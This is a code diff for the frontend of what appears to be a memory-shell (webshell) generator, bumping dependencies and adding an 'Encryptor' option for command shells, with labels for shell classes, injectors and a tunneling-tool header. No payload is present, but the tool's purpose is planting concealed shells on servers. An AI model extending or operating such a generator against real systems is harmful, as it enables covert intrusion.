"@types/react": "^19.1.0",
|
||||
"@types/node": "^22.15.2",
|
||||
"@types/react": "^19.1.2",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.1.1",
|
||||
"@types/react-dom": "^19.1.2",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"@vitejs/plugin-react": "^4.4.1",
|
||||
"rimraf": "^6.0.1",
|
||||
"tailwindcss": "^4.1.3",
|
||||
"tailwindcss": "^4.1.4",
|
||||
"typescript": "^5.8.3",
|
||||
"vite": "^6.2.5",
|
||||
"vite": "^6.3.3",
|
||||
"vite-bundle-visualizer": "^1.2.1"
|
||||
},
|
||||
"dependencies": {
|
||||
"@hookform/resolvers": "^5.0.1",
|
||||
"@radix-ui/react-accordion": "^1.2.3",
|
||||
"@radix-ui/react-alert-dialog": "^1.1.6",
|
||||
"@radix-ui/react-aspect-ratio": "^1.1.2",
|
||||
"@radix-ui/react-avatar": "^1.1.3",
|
||||
"@radix-ui/react-checkbox": "^1.1.4",
|
||||
"@radix-ui/react-collapsible": "^1.1.3",
|
||||
"@radix-ui/react-context-menu": "^2.2.6",
|
||||
"@radix-ui/react-dialog": "^1.1.6",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.6",
|
||||
"@radix-ui/react-hover-card": "^1.1.6",
|
||||
"@radix-ui/react-label": "^2.1.2",
|
||||
"@radix-ui/react-menubar": "^1.1.6",
|
||||
"@radix-ui/react-navigation-menu": "^1.2.5",
|
||||
"@radix-ui/react-popover": "^1.1.6",
|
||||
"@radix-ui/react-progress": "^1.1.2",
|
||||
"@radix-ui/react-radio-group": "^1.2.3",
|
||||
"@radix-ui/react-scroll-area": "^1.2.3",
|
||||
"@radix-ui/react-select": "^2.1.6",
|
||||
"@radix-ui/react-separator": "^1.1.2",
|
||||
"@radix-ui/react-slider": "^1.2.3",
|
||||
"@radix-ui/react-slot": "^1.1.2",
|
||||
"@radix-ui/react-switch": "^1.1.3",
|
||||
"@radix-ui/react-tabs": "^1.1.3",
|
||||
"@radix-ui/react-toggle": "^1.1.2",
|
||||
"@radix-ui/react-toggle-group": "^1.1.2",
|
||||
"@radix-ui/react-tooltip": "^1.1.8",
|
||||
"@tailwindcss/vite": "^4.1.3",
|
||||
"@tanstack/react-query": "^5.71.10",
|
||||
"@radix-ui/react-accordion": "^1.2.8",
|
||||
"@radix-ui/react-alert-dialog": "^1.1.11",
|
||||
"@radix-ui/react-aspect-ratio": "^1.1.4",
|
||||
"@radix-ui/react-avatar": "^1.1.7",
|
||||
"@radix-ui/react-checkbox": "^1.2.3",
|
||||
"@radix-ui/react-collapsible": "^1.1.8",
|
||||
"@radix-ui/react-context-menu": "^2.2.12",
|
||||
"@radix-ui/react-dialog": "^1.1.11",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.12",
|
||||
"@radix-ui/react-hover-card": "^1.1.11",
|
||||
"@radix-ui/react-label": "^2.1.4",
|
||||
"@radix-ui/react-menubar": "^1.1.12",
|
||||
"@radix-ui/react-navigation-menu": "^1.2.10",
|
||||
"@radix-ui/react-popover": "^1.1.11",
|
||||
"@radix-ui/react-progress": "^1.1.4",
|
||||
"@radix-ui/react-radio-group": "^1.3.4",
|
||||
"@radix-ui/react-scroll-area": "^1.2.6",
|
||||
"@radix-ui/react-select": "^2.2.2",
|
||||
"@radix-ui/react-separator": "^1.1.4",
|
||||
"@radix-ui/react-slider": "^1.3.2",
|
||||
"@radix-ui/react-slot": "^1.2.0",
|
||||
"@radix-ui/react-switch": "^1.2.2",
|
||||
"@radix-ui/react-tabs": "^1.1.9",
|
||||
"@radix-ui/react-toggle": "^1.1.6",
|
||||
"@radix-ui/react-toggle-group": "^1.1.7",
|
||||
"@radix-ui/react-tooltip": "^1.2.4",
|
||||
"@tailwindcss/vite": "^4.1.4",
|
||||
"@tanstack/react-query": "^5.74.7",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"cmdk": "^1.1.1",
|
||||
"date-fns": "^4.1.0",
|
||||
"embla-carousel-react": "^8.6.0",
|
||||
"i18next": "^24.2.3",
|
||||
"i18next": "^25.0.1",
|
||||
"input-otp": "^1.4.2",
|
||||
"lucide-react": "^0.487.0",
|
||||
"lucide-react": "^0.503.0",
|
||||
"react": "^19.1.0",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-day-picker": "9.6.4",
|
||||
"react-day-picker": "9.6.7",
|
||||
"react-dom": "^19.1.0",
|
||||
"react-hook-form": "^7.55.0",
|
||||
"react-i18next": "^15.4.1",
|
||||
"react-resizable-panels": "^2.1.7",
|
||||
"react-router": "^7.5.0",
|
||||
"react-router-dom": "^7.5.0",
|
||||
"react-hook-form": "^7.56.1",
|
||||
"react-i18next": "^15.5.1",
|
||||
"react-resizable-panels": "^2.1.8",
|
||||
"react-router": "^7.5.2",
|
||||
"react-router-dom": "^7.5.2",
|
||||
"react-syntax-highlighter": "^15.6.1",
|
||||
"recharts": "^2.15.2",
|
||||
"recharts": "^2.15.3",
|
||||
"sonner": "^2.0.3",
|
||||
"tailwind-merge": "^3.1.0",
|
||||
"tailwind-merge": "^3.2.0",
|
||||
"tailwind-scrollbar": "^4.0.2",
|
||||
"tailwindcss-animate": "^1.0.7",
|
||||
"vaul": "^1.1.2",
|
||||
"zod": "^3.24.2"
|
||||
"zod": "^3.24.3"
|
||||
},
|
||||
"trustedDependencies": ["@biomejs/biome"]
|
||||
}
|
||||
|
||||
@@ -6,10 +6,11 @@ import {
|
||||
AlertDialogCancel,
|
||||
AlertDialogContent,
|
||||
AlertDialogDescription,
|
||||
AlertDialogFooter,
|
||||
AlertDialogHeader,
|
||||
AlertDialogTitle,
|
||||
AlertDialogTrigger,
|
||||
} from "../ui/alert-dialog";
|
||||
import { AlertDialogFooter, AlertDialogHeader } from "../ui/alert-dialog";
|
||||
import { Button } from "../ui/button";
|
||||
|
||||
export function FeedbackAlert() {
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
import { env } from "@/config";
|
||||
import { FormSchema } from "@/types/schema";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { useEffect, useState } from "react";
|
||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { Card, CardContent } from "../ui/card";
|
||||
import { FormControl, FormField, FormItem, FormLabel } from "../ui/form";
|
||||
import { Input } from "../ui/input";
|
||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../ui/select";
|
||||
import { TabsContent } from "../ui/tabs";
|
||||
import { OptionalClassFormField } from "./classname-field";
|
||||
import { ShellTypeFormField } from "./shelltype-field";
|
||||
@@ -14,6 +18,26 @@ export function CommandTabContent({
|
||||
shellTypes,
|
||||
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
||||
const { t } = useTranslation();
|
||||
const { data } = useQuery<Array<string>>({
|
||||
queryKey: ["commandEncryptor"],
|
||||
queryFn: async () => {
|
||||
const response = await fetch(`${env.API_URL}/config/command/encryptors`);
|
||||
return await response.json();
|
||||
},
|
||||
});
|
||||
const rawEncryptors = data ?? [];
|
||||
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
|
||||
|
||||
const shellType = form.watch("shellType");
|
||||
|
||||
useEffect(() => {
|
||||
if (shellType.startsWith("Agent")) {
|
||||
setEncryptors(["RAW"]);
|
||||
} else {
|
||||
setEncryptors(rawEncryptors);
|
||||
}
|
||||
}, [shellType, rawEncryptors]);
|
||||
|
||||
return (
|
||||
<FormProvider {...form}>
|
||||
<TabsContent value="Command">
|
||||
@@ -23,20 +47,45 @@ export function CommandTabContent({
|
||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||
<UrlPatternFormField form={form} />
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="commandParamName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="gap-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("shellToolConfig.paramName")} {t("optional")}
|
||||
</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="commandParamName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="gap-1">
|
||||
<FormLabel className="h-6 flex items-center gap-1">
|
||||
{t("shellToolConfig.paramName")} {t("optional")}
|
||||
</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="encryptor"
|
||||
render={({ field }) => (
|
||||
<FormItem className="gap-1">
|
||||
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.encryptor")}</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value} defaultValue="RAW">
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder={t("placeholders.select")} />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent key={data?.join(",")}>
|
||||
{encryptors?.map((v) => (
|
||||
<SelectItem key={v} value={v}>
|
||||
{v}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<OptionalClassFormField form={form} />
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
@@ -108,7 +108,8 @@
|
||||
"paramName": "Param Name",
|
||||
"pass": "Pass",
|
||||
"suo5Header": "AdvanceConfiguration -> Request Header",
|
||||
"base64String": "Shell Class"
|
||||
"base64String": "Shell Class",
|
||||
"encryptor": "Encryptor"
|
||||
},
|
||||
"success": {
|
||||
"generated": "Generation successful"
|
||||
|
||||
@@ -108,7 +108,8 @@
|
||||
"paramName": "请求参数",
|
||||
"pass": "密码",
|
||||
"suo5Header": "高级配置 -> 请求头",
|
||||
"base64String": "内存马类"
|
||||
"base64String": "内存马类",
|
||||
"encryptor": "加密器"
|
||||
},
|
||||
"success": {
|
||||
"generated": "生成成功"
|
||||
|
||||
@@ -20,6 +20,7 @@ export const formSchema = z.object({
|
||||
packingMethod: z.string().min(1),
|
||||
shrink: z.optional(z.boolean()),
|
||||
shellClassBase64: z.optional(z.string()),
|
||||
encryptor: z.optional(z.string()),
|
||||
});
|
||||
|
||||
export type FormSchema = z.infer<typeof formSchema>;
|
||||
|
||||
@@ -19,6 +19,7 @@ export interface ShellToolConfig {
|
||||
headerName?: string;
|
||||
headerValue?: string;
|
||||
shellClassBase64?: string;
|
||||
encryptor?: string;
|
||||
}
|
||||
|
||||
export interface CommandShellToolConfig {
|
||||
|
||||
@@ -43,6 +43,7 @@ export function transformToPostData(formValue: FormSchema) {
|
||||
headerName: formValue.headerName,
|
||||
headerValue: formValue.headerValue,
|
||||
shellClassBase64: formValue.shellClassBase64,
|
||||
encryptor: formValue.encryptor,
|
||||
};
|
||||
|
||||
const injectorConfig: InjectorConfig = {
|
||||
|
||||
Reference in New Issue
Block a user